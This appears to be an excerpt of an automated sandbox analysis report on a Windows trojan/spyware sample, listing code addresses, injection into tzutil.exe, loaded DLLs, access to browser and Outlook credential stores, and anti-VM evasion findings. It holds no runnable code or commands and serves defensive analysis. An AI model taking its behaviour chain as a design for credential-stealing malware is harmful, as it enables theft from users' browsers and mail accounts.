Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031998B2	4_2_031998B2
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031D18DA	4_2_031D18DA
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031D78F3	4_2_031D78F3
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0319FF40	4_2_0319FF40
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031DFF63	4_2_031DFF63
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031C3FA0	4_2_031C3FA0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031D1FC6	4_2_031D1FC6
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03121EB2	4_2_03121EB2
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031D9ED2	4_2_031D9ED2
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031DFD27	4_2_031DFD27
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031D7D4C	4_2_031D7D4C
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03129DD0	4_2_03129DD0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031BFDF4	4_2_031BFDF4
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_03123C60	4_2_03123C60
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031B9C98	4_2_031B9C98
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_031A7CE8	4_2_031A7CE8
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0313FCE0	4_2_0313FCE0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_00822130	4_2_00822130
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0081D048	4_2_0081D048
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0081D050	4_2_0081D050
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0081B290	4_2_0081B290
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0081D270	4_2_0081D270
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0081B3E0	4_2_0081B3E0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_008257F0	4_2_008257F0
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_008239FB	4_2_008239FB
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_00823A00	4_2_00823A00
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_0083BD50	4_2_0083BD50
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_02FEE426	4_2_02FEE426
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_02FEE544	4_2_02FEE544
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_02FEE8DC	4_2_02FEE8DC
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_02FED9A8	4_2_02FED9A8
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: 4_2_02FECC48	4_2_02FECC48

Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: String function: 015A5050 appears 58 times
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: String function: 015DE692 appears 86 times
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: String function: 015B7BE4 appears 101 times
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: String function: 0155B910 appears 275 times
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: String function: 015EEF10 appears 105 times
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: String function: 0318E692 appears 86 times
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: String function: 0310B910 appears 280 times
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: String function: 0319EF10 appears 105 times
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: String function: 03167BE4 appears 102 times
Source: C:\Windows\SysWOW64\tzutil.exe	Code function: String function: 03155050 appears 58 times

Source: 5CTbduoXq4.exe, 00000000.00000002.44311754741.00000000075A0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameuser.dll" vs 5CTbduoXq4.exe
Source: 5CTbduoXq4.exe, 00000000.00000002.44307693067.00000000039B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameuser.dll" vs 5CTbduoXq4.exe
Source: 5CTbduoXq4.exe, 00000000.00000002.44307693067.00000000039B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs 5CTbduoXq4.exe
Source: 5CTbduoXq4.exe, 00000000.00000000.44130981142.0000000000422000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameZSmBQ.exe" vs 5CTbduoXq4.exe
Source: 5CTbduoXq4.exe, 00000000.00000002.44311134149.0000000006C50000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs 5CTbduoXq4.exe
Source: 5CTbduoXq4.exe, 00000000.00000002.44304039428.00000000009CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 5CTbduoXq4.exe
Source: 5CTbduoXq4.exe, 00000002.00000002.44645865726.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenametzutil.exej% vs 5CTbduoXq4.exe
Source: 5CTbduoXq4.exe, 00000002.00000002.44646269592.000000000165D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 5CTbduoXq4.exe
Source: 5CTbduoXq4.exe, 00000002.00000002.44645865726.00000000010D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenametzutil.exej% vs 5CTbduoXq4.exe
Source: 5CTbduoXq4.exe	Binary or memory string: OriginalFilenameZSmBQ.exe" vs 5CTbduoXq4.exe

Source: 5CTbduoXq4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5CTbduoXq4.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@21/12

Source: C:\Users\user\Desktop\5CTbduoXq4.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\5CTbduoXq4.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\5CTbduoXq4.exe

Mutant created: NULL

Source: C:\Windows\SysWOW64\tzutil.exe

File created: C:\Users\user\AppData\Local\Temp\UQ63g7r-

Jump to behavior

Source: 5CTbduoXq4.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 5CTbduoXq4.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\5CTbduoXq4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tzutil.exe, 00000004.00000003.44828194693.0000000007A70000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49201521257.0000000007A79000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE benefit_merchant_domains (benefit_id VARCHAR NOT NULL, merchant_domain VARCHAR NOT NULL)U;
Source: tzutil.exe, 00000004.00000003.44823681661.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000003.44823681661.00000000009CD000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49196340129.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: tzutil.exe, 00000004.00000002.49201521257.0000000007ACD000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49201521257.0000000007ADB000.00000004.00000020.00020000.00000000.sdmp, UQ63g7r-.4.dr	Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;

Source: 5CTbduoXq4.exe	Virustotal: Detection: 57%
Source: 5CTbduoXq4.exe	ReversingLabs: Detection: 91%

Source: unknown	Process created: C:\Users\user\Desktop\5CTbduoXq4.exe "C:\Users\user\Desktop\5CTbduoXq4.exe"
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process created: C:\Users\user\Desktop\5CTbduoXq4.exe "C:\Users\user\Desktop\5CTbduoXq4.exe"
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Process created: C:\Windows\SysWOW64\tzutil.exe "C:\Windows\SysWOW64\tzutil.exe"
Source: C:\Windows\SysWOW64\tzutil.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process created: C:\Users\user\Desktop\5CTbduoXq4.exe "C:\Users\user\Desktop\5CTbduoXq4.exe"	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Process created: C:\Windows\SysWOW64\tzutil.exe "C:\Windows\SysWOW64\tzutil.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\5CTbduoXq4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\5CTbduoXq4.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\tzutil.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: 5CTbduoXq4.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 5CTbduoXq4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: tzutil.pdbGCTL source: 5CTbduoXq4.exe, 00000002.00000002.44645865726.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, QgsPQaUVZZ.exe, 00000003.00000003.48065696981.0000000000ABB000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: QgsPQaUVZZ.exe, 00000003.00000002.49195772220.000000000026E000.00000002.00000001.01000000.0000000A.sdmp, QgsPQaUVZZ.exe, 00000005.00000000.44710195038.000000000026E000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: wntdll.pdbUGP source: 5CTbduoXq4.exe, 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, tzutil.exe, 00000004.00000003.44648706389.0000000002F30000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000003.44645663268.0000000000C6A000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 5CTbduoXq4.exe, 5CTbduoXq4.exe, 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, tzutil.exe, tzutil.exe, 00000004.00000003.44648706389.0000000002F30000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000003.44645663268.0000000000C6A000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmp, tzutil.exe, 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: tzutil.pdb source: 5CTbduoXq4.exe, 00000002.00000002.44645865726.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, QgsPQaUVZZ.exe, 00000003.00000003.48065696981.0000000000ABB000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 0_2_076CE172 push eax; retf	0_2_076CE191
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_004031D0 push eax; ret	2_2_004031D2
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_004169E7 push 0F6CFD2Bh; ret	2_2_00416A18
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00423A0A push esp; ret	2_2_00423A0D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00419359 push ds; ret	2_2_0041935B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00418366 pushad ; iretd	2_2_00418367
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00408325 push dword ptr [ebx+5Dh]; ret	2_2_0040830B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00417388 push edi; ret	2_2_0041738D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00419477 push edx; ret	2_2_00419485
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00408403 push 00000074h; iretd	2_2_0040840B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00417411 push eax; ret	2_2_00417414
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00411D6F push ds; iretd	2_2_00411DBD
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00411D7B push ds; iretd	2_2_00411DBD
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0041758A push ebp; ret	2_2_004175A6
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0040D66A push ecx; iretd	2_2_0040D6D9
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00414E05 push cs; retf	2_2_00414E14
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0040860D push cs; retf	2_2_0040860E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00413E93 pushfd ; ret	2_2_00413F00
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_00413EBC pushfd ; ret	2_2_00413F00
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015608CD push ecx; mov dword ptr [esp], ecx	2_2_015608D6
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_03299BA4 push ebp; ret	3_2_03299BC0
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_03294389 push ds; iretd	3_2_032943D7
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_03294395 push ds; iretd	3_2_032943D7
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_03299A2B push eax; ret	3_2_03299A2E
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_0328AA1D push 00000074h; iretd	3_2_0328AA25
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_0329BA91 push edx; ret	3_2_0329BA9F
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_0328A93F push dword ptr [ebx+5Dh]; ret	3_2_0328A925
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_0329B973 push ds; ret	3_2_0329B975
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_032999A2 push edi; ret	3_2_032999A7
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_0329A980 pushad ; iretd	3_2_0329A981
Source: C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe	Code function: 3_2_03298004 push ebp; iretd	3_2_03298005

Source: 5CTbduoXq4.exe

Static PE information: section name: .text entropy: 7.7084319709201985

Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: 5CTbduoXq4.exe PID: 5884, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\tzutil.exe	API/Special instruction interceptor: Address: 7FFF7E0CD144
Source: C:\Windows\SysWOW64\tzutil.exe	API/Special instruction interceptor: Address: 7FFF7E0CD604
Source: C:\Windows\SysWOW64\tzutil.exe	API/Special instruction interceptor: Address: 7FFF7E0CD764
Source: C:\Windows\SysWOW64\tzutil.exe	API/Special instruction interceptor: Address: 7FFF7E0CD324
Source: C:\Windows\SysWOW64\tzutil.exe	API/Special instruction interceptor: Address: 7FFF7E0CD364
Source: C:\Windows\SysWOW64\tzutil.exe	API/Special instruction interceptor: Address: 7FFF7E0CD004
Source: C:\Windows\SysWOW64\tzutil.exe	API/Special instruction interceptor: Address: 7FFF7E0CFF74
Source: C:\Windows\SysWOW64\tzutil.exe	API/Special instruction interceptor: Address: 7FFF7E0CD864

